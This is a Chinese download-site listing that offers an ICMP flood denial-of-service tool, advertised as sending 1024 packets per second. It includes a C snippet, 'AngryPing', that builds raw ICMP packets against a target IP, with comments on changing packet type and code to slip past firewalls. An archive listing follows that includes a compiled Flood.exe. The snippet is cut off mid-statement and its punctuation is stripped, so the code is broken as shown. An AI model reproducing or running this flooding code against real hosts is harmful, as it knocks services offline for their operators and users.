• 大小: 1.89MB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2023-08-15
  • 语言: 其他
  • 标签: flood  ICMP  

资源简介

基于ICMP的洪水攻击 每秒1024个包

资源截图

代码片段和文件信息

//==================================================
/*
agp.c

  AnGryPing -- ICMP Flooder by HBU·小金(LK007)
  Copyright?? 2002
  E-MAIL:lk007@163.com
*/

#include 
#include 
#include 
#pragma comment(lib “ws2_32.lib“)
//头文件和库文件声明,如果不能编译,请在link里加上ws2_32.lib

#define false 0
#define true 1

#define SEQ 0x28376839

// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;

//计算校验和的子函数
USHORT checksum(USHORT *buffer int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

int main(int argc char **argv)
{
int datasizeErrorCodeflag;

int TimeOut=2000;//默认数据声明
int SendSEQ=0;
int PacketSize=32;
int type=8;
int code=0;
int counter=0; 

char SendBuf[65535]={0}; //缓冲

WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP

if (argc<2)
{
//允许用户自定义数据包大小、类型、代码,
//用以绕过一些防火墙或做一些特殊的报文Flood
printf(“AngryPing by HBU-LK007\n“);
printf(“Usage:%s [Dest]   \n“argv[0]);
exit(0);
}

strcpy(DestIpargv[1]);//取得目标IP地址

if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500)
{
printf(“Packet size must less than 65500\n“); //太大会无法生成IP数据报的
exit(0);
}

if (argc>3) 
{
type=atoi(argv[3]); //取得类型值
}
if (type>16)
{
printf(“Type must less than 16\n“);
exit(0);
}

if (argc>4) code=atoi(argv[4]); //取得代码值

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(22)&wsaData))!=0)
{
fprintf(stderr“WSAStartup failed: %d\n“ErrorCode);
exit(0);
}

if((SockRaw=WSASocket(AF_INETSOCK_RAW
IPPROTO_ICMPNULL0
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
fprintf(stderr“WSASocket failed: %d\n“WSAGetLastError());
exit(0);
}
flag=TRUE;

{

//设置发送超时
ErrorCode=setsockopt(SockRawSOL_SOCKETSO_SNDTIMEO
(char*)&TimeOutsizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr“Failed to set send TimeOut: %d\n“WSAGetLastError());
exit(1);
}

//主要代码开始
printf(“Dest:%s packet:%d type:%d code:%d\n\n“argv[1]PacketSizetypecode);
printf(“Starting...\n\n“); //视觉效果:P
memset(&DestAddr0sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;

memcpy(SendBuf &icmp_header sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header) ‘

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件    1967104  2010-09-18 02:40  Flood\Debug\Flood.bsc

     文件     176191  2010-09-18 02:40  Flood\Debug\Flood.exe

     文件     192032  2010-09-18 02:40  Flood\Debug\Flood.ilk

     文件      17463  2010-09-18 02:40  Flood\Debug\Flood.obj

     文件    4631032  2010-09-18 02:40  Flood\Debug\Flood.pch

     文件     443392  2010-09-18 02:40  Flood\Debug\Flood.pdb

     文件          0  2010-09-18 02:40  Flood\Debug\Flood.sbr

     文件     148480  2010-09-18 02:40  Flood\Debug\vc60.idb

     文件      77824  2010-09-18 02:40  Flood\Debug\vc60.pdb

     文件       4239  2010-09-18 00:28  Flood\Flood.cpp

     文件       4309  2010-09-18 02:46  Flood\Flood.dsp

     文件       1452  2010-09-18 02:40  Flood\Flood.plg

     目录          0  2010-09-18 02:40  Flood\Debug

     目录          0  2010-09-18 02:46  Flood

----------- ---------  ---------- -----  ----

              7663518                    14


评论

共有 条评论